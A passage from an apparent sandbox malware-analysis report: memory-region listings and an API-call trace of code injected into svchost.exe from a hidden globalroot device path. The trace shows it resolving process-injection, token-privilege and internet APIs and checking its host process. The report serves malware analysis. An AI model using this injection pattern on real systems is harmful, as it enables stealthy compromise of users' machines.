0x1a4ffff entry_point = 0x0 region_type = private name = "private_0x00000000019d0000" filename = "" Region: id = 3329 start_va = 0x1ae0000 end_va = 0x1b5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ae0000" filename = "" Region: id = 3330 start_va = 0x7fef8f60000 end_va = 0x7fef8f8ffff entry_point = 0x7fef8f648c0 region_type = mapped_file name = "cryptsvc.dll" filename = "\\Windows\\System32\\cryptsvc.dll" Region: id = 3331 start_va = 0x7fefda60000 end_va = 0x7fefda84fff entry_point = 0x7fefda69658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" Region: id = 3332 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 3333 start_va = 0x1270000 end_va = 0x12effff entry_point = 0x0 region_type = private name = "private_0x0000000001270000" filename = "" Region: id = 3334 start_va = 0x1950000 end_va = 0x19cffff entry_point = 0x0 region_type = private name = "private_0x0000000001950000" filename = "" Region: id = 3335 start_va = 0x7fef8db0000 end_va = 0x7fef8f5ffff entry_point = 0x7fef8db1010 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" Region: id = 3336 start_va = 0x7fef9190000 end_va = 0x7fef91a6fff entry_point = 0x7fef9191060 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" Region: id = 3337 start_va = 0x7fefb8e0000 end_va = 0x7fefb8f8fff entry_point = 0x7fefb8e11a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" Region: id = 3338 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 3339 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 3359 start_va = 0x1490000 end_va = 0x150ffff entry_point = 0x0 region_type = private name = "private_0x0000000001490000" filename = "" Region: id = 3360 start_va = 0x7fef8cf0000 end_va = 0x7fef8d27fff entry_point = 0x7fef8cf363c region_type = mapped_file name = "ncsi.dll" filename = "\\Windows\\System32\\ncsi.dll" Region: id = 3361 start_va = 0x7fef8d30000 end_va = 0x7fef8d7dfff entry_point = 0x7fef8d446e0 region_type = mapped_file name = "nlasvc.dll" filename = "\\Windows\\System32\\nlasvc.dll" Region: id = 3362 start_va = 0x7fef90a0000 end_va = 0x7fef9103fff entry_point = 0x7fef90a1254 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" Region: id = 3363 start_va = 0x7fef9110000 end_va = 0x7fef9180fff entry_point = 0x7fef9111010 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" Region: id = 3364 start_va = 0x7fefbd70000 end_va = 0x7fefbd83fff entry_point = 0x7fefbd716b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" Region: id = 3365 start_va = 0x7fefc650000 end_va = 0x7fefc66cfff entry_point = 0x7fefc651ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" Region: id = 3366 start_va = 0x7fefd190000 end_va = 0x7fefd1d6fff entry_point = 0x7fefd191064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" Region: id = 3367 start_va = 0x7fefd490000 end_va = 0x7fefd4a6fff entry_point = 0x7fefd4932b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" Region: id = 3368 start_va = 0x7fefd6a0000 end_va = 0x7fefd70cfff entry_point = 0x7fefd6a1010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" Region: id = 3369 start_va = 0x7fefddc0000 end_va = 0x7fefddf5fff entry_point = 0x7fefddc1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" Region: id = 3370 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 3382 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3383 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 3384 start_va = 0x1aa0000 end_va = 0x1b1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001aa0000" filename = "" Region: id = 3385 start_va = 0x1b30000 end_va = 0x1b3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b30000" filename = "" Region: id = 3386 start_va = 0x7fefb6c0000 end_va = 0x7fefb726fff entry_point = 0x7fefb6d6060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" Region: id = 3387 start_va = 0x7fefd060000 end_va = 0x7fefd069fff entry_point = 0x7fefd063cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" Region: id = 3388 start_va = 0x7fefda00000 end_va = 0x7fefda0afff entry_point = 0x7fefda01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" Region: id = 3389 start_va = 0x7feff570000 end_va = 0x7feff608fff entry_point = 0x7feff571c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" Region: id = 3390 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 3391 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 3392 start_va = 0x1c10000 end_va = 0x1c1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c10000" filename = "" Region: id = 3393 start_va = 0x1c20000 end_va = 0x1d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c20000" filename = "" Region: id = 3394 start_va = 0x1d20000 end_va = 0x1e1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d20000" filename = "" Region: id = 3395 start_va = 0x7fef8cc0000 end_va = 0x7fef8cd0fff entry_point = 0x7fef8cc9e7c region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" Region: id = 3396 start_va = 0x7fefc520000 end_va = 0x7fefc64bfff entry_point = 0x7fefc5294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" Thread: id = 275 os_tid = 0x45c [0089.922] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\svchost.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.922] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.924] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0089.924] IoIs32bitProcess (Irp=0x0) returned 0 [0089.924] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa8003756110 [0089.924] KeInitializeApc (Apc=0xfffffa8003756110, Thread=0xfffffa80038294d0, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0089.924] KeInsertQueueApc (Apc=0xfffffa8003756110, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0089.924] ExFreePoolWithTag (P=0xfffffa8003756110, Tag=0x0) [0089.924] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa800382a010 [0089.924] IoGetCurrentProcess () returned 0xfffffa8003822060 [0089.925] PsGetCurrentProcessId () returned 0x458 [0089.925] IoIs32bitProcess (Irp=0x0) returned 0 [0089.925] KeInitializeEvent (in: Event=0xfffffa800382a050, Type=0x0, State=0 | out: Event=0xfffffa800382a050) [0089.925] ExQueueWorkItem (in: WorkItem=0xfffffa800382a010*(List.Flink=0x0, List.Blink=0xfffff80002a5f300, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa800382a010), QueueType=0x1 | out: WorkItem=0xfffffa800382a010*(List.Flink=0x0, List.Blink=0xfffff80002a5f300, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa800382a010)) [0089.952] KeWaitForMutexObject () returned 0x0 [0089.952] ExFreePoolWithTag (P=0xfffffa800382a010, Tag=0x0) [0089.952] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.956] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.958] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.958] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.961] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0089.963] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0089.963] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0089.963] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0089.963] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0089.964] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0089.964] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.964] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.964] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.965] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.965] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.965] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.966] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.967] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.967] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.967] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.968] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.968] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.968] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.970] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.971] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.988] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0089.988] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0089.988] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0089.988] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0089.988] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.990] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0089.990] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0089.990] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.991] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0089.991] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0089.991] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0089.991] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0089.991] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0089.991] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0089.991] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0089.993] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0089.993] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0089.993] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x1cf308 | out: lpflOldProtect=0x1cf308*=0x40) returned 1 [0089.993] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x1cf308 | out: lpflOldProtect=0x1cf308*=0x4) returned 1 [0089.993] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0089.993] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0089.993] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0089.993] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0089.993] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0089.993] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0089.993] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0089.993] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0089.993] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0089.994] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0089.994] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0089.994] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0089.994] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0089.994] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0089.994] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0089.994] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0089.994] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0089.994] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0089.994] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0089.994] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0089.994] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0089.994] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0089.994] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0089.994] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0089.994] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0089.994] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0089.995] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0089.995] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0089.995] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0089.995] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0089.995] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0089.995] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0089.995] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0089.995] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0089.995] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0089.995] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0089.995] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0089.995] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0089.995] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0089.995] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0089.995] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0089.995] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0089.995] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0089.996] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0089.996] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0089.996] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0089.996] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0089.996] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0089.996] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0089.996] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0089.996] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0089.996] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0089.996] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0089.996] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0089.996] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0089.996] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0089.996] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0089.996] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0089.996] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0089.996] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0089.997] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0089.997] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0089.997] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0089.997] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0089.997] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0089.997] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0089.997] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0089.997] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0089.997] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0089.997] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0089.997] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0089.997] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0089.997] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0089.997] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0089.997] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0089.998] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0089.998] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0089.998] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0089.998] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0089.998] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0089.998] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0089.998] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0089.998] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0089.998] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0089.998] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0089.998] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0089.998] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0089.998] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0089.998] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0089.998] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0089.998] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0089.998] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0089.999] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0089.999] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0089.999] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0089.999] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0089.999] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0089.999] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0089.999] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0089.999] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0089.999] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0089.999] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0089.999] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0089.999] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0089.999] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0089.999] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0089.999] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0089.999] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0089.999] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0090.000] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0090.000] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0090.000] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0090.000] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0090.000] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0090.000] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0090.000] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0090.000] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0090.000] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0090.000] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0090.000] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0090.000] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0090.000] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0090.000] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0090.000] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0090.000] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0090.001] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0090.001] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0090.001] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0090.001] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0090.001] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0090.001] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0090.001] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0090.001] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0090.001] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0090.002] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0090.002] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\system32\\svchost.exe") returned 0x1f [0090.003] PathFindFileNameA (pszPath="C:\\Windows\\system32\\svchost.exe") returned="svchost.exe" [0090.003] GetCommandLineA () returned="C:\\Windows\\system32\\svchost.exe -k NetworkService" [0090.003] _strcmpi (_Str1="svchost.exe", _Str2="svchost.exe") returned 0 [0090.003] StrStrIA (lpFirst="C:\\Windows\\system32\\svchost.exe -k NetworkService", lpSrch="netsvcs") returned 0x0 [0090.005] StrStrIA (lpFirst="svchost.exe", lpSrch="wermgr.exe") returned 0x0 [0090.005] HeapDestroy (hHeap=0xdc0000) returned 1 [0090.009] FsRtlIsNameInExpression 